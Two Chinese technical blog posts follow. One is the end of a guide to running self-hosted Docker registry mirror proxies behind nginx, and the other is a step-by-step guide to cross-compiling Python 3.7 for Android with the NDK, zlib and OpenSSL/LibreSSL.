docker-compose.yaml docker-hub.yml gcr.yml ghcr.yml k8s-ghcr.yml quay.yml registry [root@localhost registry-proxy]# docker compose up -d [+] Running 7/7 ✔ Network registry-docker_registry-net Created 0.1s ✔ Container reg-gcr Started 1.5s ✔ Container reg-k8s-gcr Started 1.4s ✔ Container reg-docker-hub Started 1.4s ✔ Container registry-ui Started 1.5s ✔ Container reg-ghcr Started 1.5s ✔ Container reg-quay Started 1.5s [root@localhost registry-proxy]# # 检查启动容器状态 [root@localhost registry-proxy]# docker ps配置 Nginx 反代：此处需自备对应域名的 SSL 证书（最好申请一张通配符证书），并建议使用 acme.sh 等工具自动化管理申请部署证书。实际配置时请将下述的 example.com 换成自己的域名，以及自行修改证书的路径和 WEB 存放日志的路径。[root@localhost ~]# cd /etc/nginx/conf.d/ [root@localhost conf.d]# vim reverse_registry-proxy.conf ## Google Container Registry (gcr.io) server { listen 80; listen [::]:80; listen 443 ssl; listen [::]:443 ssl; http2 on; ## 填写绑定证书的域名（下同） server_name gcr.example.com; # SSL配置，证书文件名称（填写你证书存放的路径和名称，下同） # RSA Cert ssl_certificate /xxx/fullchain.pem; ssl_certificate_key /xxx/privkey.pem; ssl_stapling on; ssl_stapling_verify on; ssl_protocols TLSv1.2 TLSv1.3; ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384::!MD5; ssl_prefer_server_ciphers on; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m; ssl_session_tickets off; error_page 497 https://$host$request_uri; location / { proxy_pass http://localhost:53000; proxy_redirect off; proxy_ssl_server_name on; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; send_timeout 600; proxy_connect_timeout 600; proxy_send_timeout 600; proxy_read_timeout 600; } # . files location ~ /\.(?!well-known) { deny all; } # robots.txt location = /robots.txt { default_type text/html; add_header Content-Type "text/plain; charset=UTF-8"; return 200 "User-Agent: *\nDisallow: /"; } access_log /xxx/gcr-access.log; error_log /xxx/gcr-error.log; } # hub mirror server { listen 80; listen [::]:80; listen 443 ssl; listen [::]:443 ssl; http2 on; server_name hub.example.com; #SSL配置 # RSA Cert ssl_certificate /xxx/fullchain.pem; ssl_certificate_key /xxx/privkey.pem; ssl_stapling on; ssl_stapling_verify on; ssl_protocols TLSv1.2 TLSv1.3; ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384::!MD5; ssl_prefer_server_ciphers on; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m; ssl_session_tickets off; ssl_buffer_size 8k; error_page 497 https://$host$request_uri; location / { proxy_pass http://localhost:51000; proxy_redirect off; proxy_buffering off; proxy_ssl_server_name on; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Nginx-Proxy true; send_timeout 600; proxy_connect_timeout 600; proxy_send_timeout 600; proxy_read_timeout 600; } # . files location ~ /\.(?!well-known) { deny all; } # robots.txt location = /robots.txt { default_type text/html; add_header Content-Type "text/plain; charset=UTF-8"; return 200 "User-Agent: *\nDisallow: /"; } access_log /xxx/hub-access.log; error_log /xxx/hub-error.log; } ## GitHub Container Registry (ghcr.io) server { listen 80; listen [::]:80; listen 443 ssl; listen [::]:443 ssl; http2 on; server_name ghcr.example.com; #SSL配置 # RSA Cert ssl_certificate /xxx/fullchain.pem; ssl_certificate_key /xxx/privkey.pem; ssl_stapling on; ssl_stapling_verify on; ssl_protocols TLSv1.2 TLSv1.3; ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384::!MD5; ssl_prefer_server_ciphers on; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m; ssl_session_tickets off; error_page 497 https://$host$request_uri; location / { proxy_pass http://localhost:52000; proxy_redirect off; proxy_buffering off; proxy_ssl_server_name on; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Nginx-Proxy true; send_timeout 600; proxy_connect_timeout 600; proxy_send_timeout 600; proxy_read_timeout 600; } # . files location ~ /\.(?!well-known) { deny all; } # robots.txt location = /robots.txt { default_type text/html; add_header Content-Type "text/plain; charset=UTF-8"; return 200 "User-Agent: *\nDisallow: /"; } access_log /xxx/ghcr-access.log; error_log /xxx/ghcr-error.log; } ## Kubernetes Container Registry (k8s.gcr.io) server { listen 80; listen [::]:80; listen 443 ssl; listen [::]:443 ssl; http2 on; server_name k8s-gcr.example.com; #SSL配置 # RSA Cert ssl_certificate /xxx/fullchain.pem; ssl_certificate_key /xxx/privkey.pem; ssl_stapling on; ssl_stapling_verify on; ssl_protocols TLSv1.2 TLSv1.3; ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384::!MD5; ssl_prefer_server_ciphers on; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m; ssl_session_tickets off; error_page 497 https://$host$request_uri; location / { proxy_pass http://localhost:54000; proxy_redirect off; proxy_buffering off; proxy_ssl_server_name on; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Nginx-Proxy true; send_timeout 600; proxy_connect_timeout 600; proxy_send_timeout 600; proxy_read_timeout 600; } # . files location ~ /\.(?!well-known) { deny all; } # robots.txt location = /robots.txt { default_type text/html; add_header Content-Type "text/plain; charset=UTF-8"; return 200 "User-Agent: *\nDisallow: /"; } access_log /xxx/k8s_gcr-access.log; error_log /xxx/k8s_gcr-error.log; } ## Quay Container Registry (quay.io) server { listen 80; listen [::]:80; listen 443 ssl; listen [::]:443 ssl; http2 on; server_name quay.example.com; #SSL配置 # RSA Cert ssl_certificate /xxx/fullchain.pem; ssl_certificate_key /xxx/privkey.pem; ssl_stapling on; ssl_stapling_verify on; ssl_protocols TLSv1.2 TLSv1.3; ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384::!MD5; ssl_prefer_server_ciphers on; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m; ssl_session_tickets off; error_page 497 https://$host$request_uri; location / { proxy_pass http://localhost:55000; proxy_redirect off; proxy_buffering off; proxy_ssl_server_name on; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Nginx-Proxy true; send_timeout 600; proxy_connect_timeout 600; proxy_send_timeout 600; proxy_read_timeout 600; } # . files location ~ /\.(?!well-known) { deny all; } # robots.txt location = /robots.txt { default_type text/html; add_header Content-Type "text/plain; charset=UTF-8"; return 200 "User-Agent: *\nDisallow: /"; } access_log /xxx/quay-access.log; error_log /xxx/quay-error.log; } ## Hub UI server { listen 80; listen [::]:80; listen 443 ssl; listen [::]:443 ssl; http2 on; server_name ui.example.com; #SSL配置 # RSA Cert ssl_certificate /xxx/fullchain.pem; ssl_certificate_key /xxx/privkey.pem; ssl_stapling on; ssl_stapling_verify on; ssl_protocols TLSv1.2 TLSv1.3; ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384::!MD5; ssl_prefer_server_ciphers on; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m; ssl_session_tickets off; error_page 497 https://$host$request_uri; location / { proxy_pass http://localhost:50000; proxy_redirect off; proxy_buffering off; proxy_ssl_server_name on; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Nginx-Proxy true; send_timeout 600; proxy_connect_timeout 600; proxy_send_timeout 600; proxy_read_timeout 600; } # . files location ~ /\.(?!well-known) { deny all; } # robots.txt location = /robots.txt { default_type text/html; add_header Content-Type "text/plain; charset=UTF-8"; return 200 "User-Agent: *\nDisallow: /"; } access_log /xxx/images-access.log; error_log /xxx/images-error.log; } # 重载Nginx配置 [root@localhost ~]# nginx -t [root@localhost ~]# nginx -s reload解析域名：将我们在 Nginx 配置的域名，在 DNS 服务商商进行解析，解析到部署镜像代理仓库的服务器上（若部署用于内网使用，则 DNS 服务商处可直接解析内网地址，也无需备案；也或内网的 DNS 服务器手动指定下地址的解析）；通过访问 UI 地址可以查看镜像仓库缓存的镜像；通过使用对应的代理域名即可来下载之前无法下载的镜像。上述流程完成后，即可使用自建的 Registry 地址替换官方的 Registry 地址拉取镜像，示例如下：# docker hub Registry ## 源：nginx:latest ## 替换 docker pull hub.example.com/library/nginx:latest # K8s Registry ## 源：gcr.io/google-containers/pause:3.1 ## 替换： docker pull gcr.example.com/google-containers/pause:3.1镜像成功拉取后，访问 UI 页面就可以看到上面下载的镜像已经被缓存了：接下来修改 Docker 的 daemon.json 配置，配置自建的 Registry-proxy 地址，然后重启 Docker 即可，后续拉取镜像即可直接拉取：[root@localhost registry-proxy]# vim /etc/docker/daemon.json { "registry-mirrors" : [ "https://hub.example.com" ] } [root@localhost registry-proxy]# systemctl restart docker镜像仓库映射前缀替换的 Registry 参考：源站替换为平台docker.iohub.example.comDocker hubgcr.iogcr.example.comGoogle Container Registryghcr.ioghcr.example.comGitHub Container Registryk8s.gcr.iok8s-gcr.example.comKubernetes Container Registryquay.ioquay.example.comQuay Container Registry参考自建Docker镜像加速服务：加速与优化镜像管理Docker-Proxy
在 Android 上解锁 Python 魔力：交叉编译 Python 3 的完整指南
AI 摘要（由 ChatGPT 总结生成）：本文详细介绍了如何在Android系统上使用NDK交叉编译Python 3的过程。文章涉及了所需工具和库的下载，包括Python、NDK、OpenSSL、LibreSSL、zlib等，并展示了具体的编译步骤。此外，还包括了设置环境变量和部署到Android设备上的方法，最后提供了一个生成Python 3二进制文件的示例，以及如何在Android设备上运行编译后的Python。前期准备本次使用的是基于 Android NDK 去交叉编译 Python ，使得在 Android 上也能玩 Python 。编译过程中相关工具必不可少，如下：Python ：前往官网下载对应版本源码，链接如下：https://www.python.orgNDK ：交叉编译需要的工具，本文编译工具采用的是截止写文前最新的 NDK 25 ，下载链接如下（需科学网）：https://developer.android.google.cn/ndk/downloads?hl=zh-cnOpenSSL ：加密库，链接如下：https://www.openssl.org/source/LibreSSL ：加密库（高版本 Python 编译使用 OpenSSL 库有时出现一些问题），该库同 OpenSSL ，相当于替代库，链接如下：https://ftp.openbsd.org/pub/OpenBSD/LibreSSL/zlib ：编译需要的库，链接如下：https://www.zlib.net/gcc ：系统的 gcc 版本需高于 8 ，若不满足，请更换系统或升级 gcc 版本。以及中途可能遇到的库等，基本可使用 apt 命令安装。本文基于 Debian 系 Linux 系统进行编译操作演示，且交叉编译 Python 的时候最好保证系统上的 Python 版本和要编译的 Python 版本一致，即先编译安装 Linux 版本的，再编译 arm 版本。为模拟 Android 的文件系统路径，故此处会将 Python 编译至 /data/local/tmp 目录下，创建目录：mkdir -p /data/local/tmp此处我们将上述的工具等上传到 /data/local 目录下，此处我们编译一份 Python 3.7 的版本。先将相关压缩包解压，解压命令如下：# 解压 NDK unzip android-ndk-r25c-linux.zip # 解压 OpenSSL tar -zxvf openssl-1.1.1w.tar.gz # 解压 zlib tar -zxvf zlib-1.3.tar.gz # 解压 Python3.7 tar -xvf Python-3.7.17.tar.xz # 解压 LibreSSL tar -zxvf libressl-3.8.1.tar.gz最终如下图：下面开始对相关组件等交叉编译，下述操作建议在 root 用户下操作。交叉编译 zlib编译该工具是让 Python 支持使用 pip 命令等工具。zlib 的 configure 不支持设置 --host 项，因此我们先直接 configure 一下，然后手动更改生成的 Makefile 文件，相关命令如下：# 前往 zlib 目录 root@ubuntu:/data/local# cd zlib-1.3/ # 创建 build 和 out 文件夹 root@ubuntu:/data/local/zlib-1.3# mkdir -p build out # 前往 build 目录 root@ubuntu:/data/local/zlib-1.3# cd build/ # 执行 configure 命令 root@ubuntu:/data/local/zlib-1.3/build# ../configure --prefix=/data/local/zlib-1.3/out Checking for gcc... Checking for shared library support... Building shared library libz.so.1.3 with gcc. Checking for size_t... Yes. Checking for off64_t... Yes. Checking for fseeko... Yes. Checking for strerror... Yes. Checking for unistd.h... Yes. Checking for stdarg.h... Yes. Checking whether to use vs[n]printf() or s[n]printf()... using vs[n]printf(). Checking for vsnprintf() in stdio.h... Yes. Checking for return value of vsnprintf()... Yes. Checking for attribute(visibility) support... Yes. root@ubuntu:/data/local/zlib-1.3/build# 使用 vim 命令打开编辑 Makefile 文件，将其中的 CC 、 AR 、 RANLIB 都修改为 arm-linux 交叉编译器的相关参数，也将 LDSHARED 和 CPP 两项中的 gcc 替换为 CC 修改后的内容，具体修改地方如下：root@ubuntu:/data/local/zlib-1.3/build# vim Makefile …… CC=/data/local/android-ndk-r25c/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android33-clang …… LDSHARED=/data/local/android-ndk-r25c/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android33-clang -shared -Wl,-soname,libz.so.1,--version-script,../zlib.map CPP=/data/local/android-ndk-r25c/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android33-clang -E …… AR=/data/local/android-ndk-r25c/toolchains/llvm/prebuilt/linux-x86_64/bin/llvm-ar …… RANLIB=/data/local/android-ndk-r25c/toolchains/llvm/prebuilt/linux-x86_64/bin/llvm-ranlib ……Makefile 文件修改后保存退出，接下来执行下面两条命令，完成交叉编译：make make install编译后的内容在 zlib 源码的 out 目录下。交叉编译 OpenSSL编译该工具是使得 Python 支持加密协议。前往 OpenSSL 目录，将下述脚本保存到 OpenSSL 源码的同目录下，脚本内容如下，部分内容参数请按提示自定义更新：#!/bin/bash COMPILE_ROOT="$(dirname $(readlink -f "$0"))" # NDK 目录，按需更换 export ANDROID_NDK_ROOT=/data/local/android-ndk-r25c export ANDROID_GCC_ROOT=${ANDROID_NDK_ROOT}/toolchains/llvm/prebuilt/linux-x86_64 export ANDROID_GCC_PATH=${ANDROID_GCC_ROOT}/bin BUILD_PATH=${COMPILE_ROOT}/build OUT_PATH=${COMPILE_ROOT}/out CROSS_COMPILER=aarch64-linux-android- CROSS_COMPILER_CLANG=aarch64-linux-android33- #prepare mkdir -p ${BUILD_PATH} mkdir -p ${OUT_PATH} export PATH=${ANDROID_NDK_ROOT}:${ANDROID_GCC_PATH}:$PATH export ARCH="aarch64" export CC="${CROSS_COMPILER_CLANG}clang -pie -fPIE" export CPP="${CROSS_COMPILER_CLANG}clang -E -pie -fPIE" export CXX="${CROSS_COMPILER_CLANG}clang++ -pie -fPIE" # 下方的链接文件，新版 NDK 变成了 llvm-xx 的文件格式了，可能旧版的还存在诸如 aarch64-linux-android-xx 的格式文件，若为旧版格式文件，可将下面注释的取消注释，并将 llvm-xx 格式的命令参数反向注释掉，按需修改 #export AS="${CROSS_COMPILER}as" export LD="${CROSS_COMPILER}ld -pie -fPIE" export GDB="${CROSS_COMPILER}gdb" export STRIP="${CROSS_COMPILER}strip" #export RANLIB="${CROSS_COMPILER}ranlib" #export OBJCOPY="${CROSS_COMPILER}objcopy" #export OBJDUMP="${CROSS_COMPILER}objdump" #export AR="${CROSS_COMPILER}ar" #export NM="${CROSS_COMPILER}nm" export RANLIB="llvm-ranlib" export AR="llvm-ar" export NM="llvm-nm" export OBJCOPY="llvm-objcopy" export OBJDUMP="llvm-objdump" export AS="llvm-as" #export READELF="${CROSS_COMPILER}readelf" export READELF="llvm-readelf" export M4=m4 export TARGET_PREFIX=$CROSS_COMPILER export CXXFLAGS="-D__ANDROID_API__=33 " cd ${BUILD_PATH} config_soft(){ ../config --prefix=${OUT_PATH} -no-asm -no-shared -no-async } make_soft(){ make -j $(nproc) } make_soft_install(){ make install } make_clean(){ make clean } case "$1" in config_soft) config_soft ;; make_soft) make_soft ;; make_soft_install) make_soft_install ;; make_clean) make_clean ;; esac 先使用 config_soft 生成一些文件，命令如下：root@ubuntu:/data/local/openssl-1.1.1w# vim make_openssl.sh root@ubuntu:/data/local/openssl-1.1.1w# bash make_openssl.sh config_soft Operating system: x86_64-whatever-linux2 Configuring OpenSSL version 1.1.1w (0x1010117fL) for linux-x86_64 Using os-specific seed configuration Creating configdata.pm Creating Makefile ********************************************************************** *** *** *** OpenSSL has been successfully configured *** *** *** *** If you encounter a problem while building, please open an *** *** issue on GitHub <https://github.com/openssl/openssl/issues> *** *** and include the output from the following command: *** *** *** *** perl configdata.pm --dump *** *** *** *** (If you are new to OpenSSL, you might want to consult the *** *** 'Troubleshooting' section in the INSTALL file first) *** *** *** ********************************************************************** root@ubuntu:/data/local/openssl-1.1.1w# 然后在 make_soft 和 make_soft_install 完成 OpenSSL 的编译：root@ubuntu:/data/local/openssl-1.1.1w# bash make_openssl.sh make_soft …… root@ubuntu:/data/local/openssl-1.1.1w# bash make_openssl.sh make_soft_install ……若无报错，即完成 OpenSSL 的交叉编译，编译后的内容在 OpenSSL 源码的 out 目录下。交叉编译 LibreSSL编译该工具是使得 Python 支持加密协议，相当于 OpenSSL 的替代。前往 libressl 目录，将下述脚本保存到 libressl 源码的同目录下，脚本内容如下，部分内容参数请按提示自定义更新：#!/bin/bash COMPILE_ROOT="$(dirname $(readlink -f "$0"))" # NDK 目录，按需更换 export ANDROID_NDK_ROOT=/data/local/android-ndk-r25c export ANDROID_GCC_ROOT=${ANDROID_NDK_ROOT}/toolchains/llvm/prebuilt/linux-x86_64 export ANDROID_GCC_PATH=${ANDROID_GCC_ROOT}/bin BUILD_PATH=${COMPILE_ROOT}/build OUT_PATH=${COMPILE_ROOT}/out CROSS_COMPILER=aarch64-linux-android- CROSS_COMPILER_CLANG=aarch64-linux-android33- #prepare mkdir -p ${BUILD_PATH} mkdir -p ${OUT_PATH} export PATH=${ANDROID_NDK_ROOT}:${ANDROID_GCC_PATH}:$PATH export ARCH="aarch64" export CC="${CROSS_COMPILER_CLANG}clang -pie -fPIE" export CPP="${CROSS_COMPILER_CLANG}clang -E -pie -fPIE" export CXX="${CROSS_COMPILER_CLANG}clang++ -pie -fPIE" # 下方的链接文件，新版 NDK 变成了 llvm-xx 的文件格式了，可能旧版的还存在诸如 aarch64-linux-android-xx 的格式文件，若为旧版格式文件，可将下面注释的取消注释，并将 llvm-xx 格式的命令参数反向注释掉，按需修改 #export AS="${CROSS_COMPILER}as" export LD="${CROSS_COMPILER}ld -pie -fPIE" export GDB="${CROSS_COMPILER}gdb" export STRIP="${CROSS_COMPILER}strip" #export RANLIB="${CROSS_COMPILER}ranlib" #export OBJCOPY="${CROSS_COMPILER}objcopy" #export OBJDUMP="${CROSS_COMPILER}objdump" #export AR="${CROSS_COMPILER}ar" #export NM="${CROSS_COMPILER}nm" export RANLIB="llvm-ranlib" export AR="llvm-ar" export NM="llvm-nm" export OBJCOPY="llvm-objcopy" export OBJDUMP="llvm-objdump" export AS="llvm-as" #export READELF="${CROSS_COMPILER}readelf" export READELF="llvm-readelf" export M4=m4 export TARGET_PREFIX=$CROSS_COMPILER export CXXFLAGS="-D__ANDROID_API__=33 " cd ${BUILD_PATH} config_soft(){ ../configure --host=aarch64-linux-android \ --host=aarch64-linux \ --build=x86_64-linux-gnu \ --target=aarch64-linux-android \ --prefix=${OUT_PATH} } make_soft(){ make -j $(nproc) } make_soft_install(){ make install } make_clean(){ make clean } case "$1" in config_soft) config_soft ;; make_soft) make_soft ;; make_soft_install) make_soft_install ;; make_clean) make_clean ;; esac然后编译安装，安装的文件在 out 目录下：root@ubuntu:/data/local/libressl-3.8.1# vim make_libressl.sh root@ubuntu:/data/local/libressl-3.8.1# bash make_libressl.sh config_soft …… root@ubuntu:/data/local/libressl-3.8.1# bash make_libressl.sh make_soft …… root@ubuntu:/data/local/libressl-3.8.1# bash make_libressl.sh make_soft_install ……交叉编译 Python下面就到了交叉编译 Python 的环节了。此处需注意一下，交叉编译前，系统内需要一份同版本的 Python ，所以我们先编译安装一份当前系统下的 Python ，命令如下：# 先安装一些库 root@ubuntu:/data/local/Python-3.7.17# apt install -y make build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev git libgdbm-dev libdb-dev libpcap-dev libexpat1-dev # 然后编译安装一份当前版本的 Python 。注意的是，此处不需要真正安装到系统中去，所以我将其安装在源码的 python3_bin 目录下，供下面的脚本需要 # 生成配置文件，--prefix按需修改，若修改，下面的脚本路径也需要你按需自定义 root@ubuntu:/data/local/Python-3.7.17# ./configure --prefix=/data/local/Python-3.7.17/python3_bin # 编译安装 root@ubuntu:/data/local/Python-3.7.17# make && make install # 安装操作结束后，清除一下 Python 源代码目录文件的一些编译过程文件 root@ubuntu:/data/local/Python-3.7.17# make clean然后继续在 Python3.7 源码目录，将下述脚本保存到 Python3 源码的同目录下，脚本内容如下，部分内容参数请按提示自定义更新：#!/bin/bash # 此为上述编译后生成的 Python 3 二进制文件所在，并设置一下别名 export PATH=/data/local/Python-3.7.17/python3_bin/bin:$PATH alias python='python3' COMPILE_ROOT="$(dirname $(readlink -f "$0"))" # NDK 路径 export ANDROID_NDK_ROOT=/data/local/android-ndk-r25c export ANDROID_GCC_ROOT=${ANDROID_NDK_ROOT}/toolchains/llvm/prebuilt/linux-x86_64 export ANDROID_GCC_PATH=${ANDROID_GCC_ROOT}/bin BUILD_PATH=${COMPILE_ROOT}/build # 生成二进制文件的路径 OUT_PATH=/data/local/tmp/python3 # 若 OpenSSL 不能正常编译加密库，可换成 LibreSSL OPENSSL_PATH=/data/local/openssl-1.1.1w/out OPENSSL_LIB_PATH=/data/local/openssl-1.1.1w/out/lib #OPENSSL_PATH=/data/local/libressl-3.8.1/out #OPENSSL_LIB_PATH=/data/local/libressl-3.8.1/out/lib CROSS_COMPILER=aarch64-linux-android- CROSS_COMPILER_CLANG=aarch64-linux-android33- #prepare mkdir -p ${BUILD_PATH} mkdir -p ${OUT_PATH} export PATH=${ANDROID_NDK_ROOT}:${ANDROID_GCC_PATH}:$PATH export ARCH="aarch64" export CC="${CROSS_COMPILER_CLANG}clang -pie -fPIE" export CPP="${CROSS_COMPILER_CLANG}clang -E -pie -fPIE" export CXX="${CROSS_COMPILER_CLANG}clang++ -pie -fPIE" # 下方的链接文件，新版 NDK 变成了 llvm-xx 的文件格式了，可能旧版的还存在诸如 aarch64-linux-android-xx 的格式文件，若为旧版格式文件，可将下面注释的取消注释，并将 llvm-xx 格式的命令参数反向注释掉，按需修改 #export AS="${CROSS_COMPILER}as" export LD="${CROSS_COMPILER}ld -pie -fPIE" export GDB="${CROSS_COMPILER}gdb" export STRIP="${CROSS_COMPILER}strip" #export RANLIB="${CROSS_COMPILER}ranlib" #export OBJCOPY="${CROSS_COMPILER}objcopy" #export OBJDUMP="${CROSS_COMPILER}objdump" #export AR="${CROSS_COMPILER}ar" #export NM="${CROSS_COMPILER}nm" export RANLIB="llvm-ranlib" export AR="llvm-ar" export NM="llvm-nm" export OBJCOPY="llvm-objcopy" export OBJDUMP="llvm-objdump" export AS="llvm-as" #export READELF="${CROSS_COMPILER}readelf" export READELF="llvm-readelf" export M4=m4 export TARGET_PREFIX=$CROSS_COMPILER export CONFIG_SITE="config.site" export CXXFLAGS="-D__ANDROID_API__=33 " cd ${BUILD_PATH} config_soft(){ # 此处可在 Android 设备上查看一下是否存在 /dev/ptmx 和 /dev/ptc 设备文件，有就把参数设置成 yes ，无则设为 no 。 echo -e "ac_cv_file__dev_ptmx=yes\nac_cv_file__dev_ptc=no" > config.site ../configure --host=aarch64-linux-android \ --host=aarch64-linux \ --build=x86_64-pc-linux-gnu \ --target=aarch64-linux-android \ LDFLAGS="-Wl,--allow-shlib-undefined -D__ANDROID_API__=33 -fPIC -L${OPENSSL_LIB_PATH}" \ CFLAGS="-D__ANDROID_API__=33 " \ CPPFLAGS="-D__ANDROID_API__=33" \ --enable-ipv6 \ --with-openssl=${OPENSSL_PATH} \ --prefix=${OUT_PATH} } make_soft(){ make -j $(nproc) } make_soft_install(){ make install } make_clean(){ make clean } case "$1" in config_soft) config_soft ;; make_soft) make_soft ;; make_soft_install) make_soft_install ;; make_clean) make_clean ;; esac 先使用 config_soft 生成一些文件，命令如下：root@ubuntu:/data/local/Python-3.7.17# vim make_python.sh root@ubuntu:/data/local/Python-3.7.17# bash make_python.sh config_soft ……到这一步需要注意，如果其他平台编译时在 build/Modules 文件夹内生成了 Setup 文件，我们需要修改一下里面的部分参数内容，其中 SSL 参数是我们上面脚本里指定的哪个加密库，下方就改成对应的加密库。同时指定一下 zlib 库文件位置：root@ubuntu:/data/local/Python-3.7.17# vim build/Modules/Setup …… SSL=/data/local/openssl-1.1.1w/out _ssl _ssl.c \ -DUSE_SSL -I$(SSL)/include -I$(SSL)/include/openssl \ -L$(SSL)/lib -lssl -lcrypto …… zlib zlibmodule.c -I/data/local/zlib-1.3/out/include -L/data/local/zlib-1.3/out/lib -lz ……然后再编译安装生成可执行二进制文件：root@ubuntu:/data/local/Python-3.7.17# bash make_python.sh make_soft …… root@ubuntu:/data/local/Python-3.7.17# bash make_python.sh make_soft_install ……生成成功后接下来就是将 /data/local/tmp 目录下的文件压缩并使用 adb 推到 Android 设备的 /data/local/tmp 目录下：# 打包 Python 3 文件 root@ubuntu:/data/local/tmp# tar -zcvf python3.tar.gz python3 # adb 将文件推送至手机 adb push python3.tar.gz /data/local/tmp然后在 Android 系统下解压，即可使用该 Python ，如图：接下来为更方便的调用，可写个脚本控制相关环境变量，脚本内容如下：#!/system/bin/env sh export HOME='/data/local/tmp/python3' PYTHON_HOME='/data/local/tmp/python3' export PATH=${PYTHON_HOME}/bin:${PATH} export LD_LIBRARY_PATH=${PYTHON_HOME}/lib:${LD_LIBRARY_PATH} export PYTHONPATH=${PYTHONPATH}:${PYTHON_HOME} python3 "$@"效果如下：kali@shell:/data/local/tmp/python3 $ vi python_run.sh kali@shell:/data/local/tmp/python3 $ chmod +x python_run.sh kali@shell:/data/local/tmp/python3 $ ./python_run.sh --version Python 3.7.17 kali@shell:/data/local/tmp/python3 $ ./python_run.sh Python 3.7.17 (default, Sep 20 2023, 16:55:26) [Clang 14.0.7 (https://android.googlesource.com/toolchain/llvm-project 4c603efb on linux Type "help", "copyright", "credits" or "license" for more information. >>>至此，基于 NDK 交叉编译的 Python 3 已能够在 Android 上执行。自己在编译过程中发现 pip 模块缺失，可前往 Python 官网下载 get-pip.py 进行安装即可，如下图：最后的最后，快淦饭了，就让 ChatGPT 给我生成一个标题吧：个人自己编译的一份成品也将其打包分享给大家，若有兴趣的小伙伴可根据编译的成品 Python 二进制文件去制作成 Magisk 模块使得挂载到设备上使用：提取链接：https://pan.baidu.com/s/1Sxs7VxEVPQKSWI_AL0aszg?pwd=6666提取码：6666
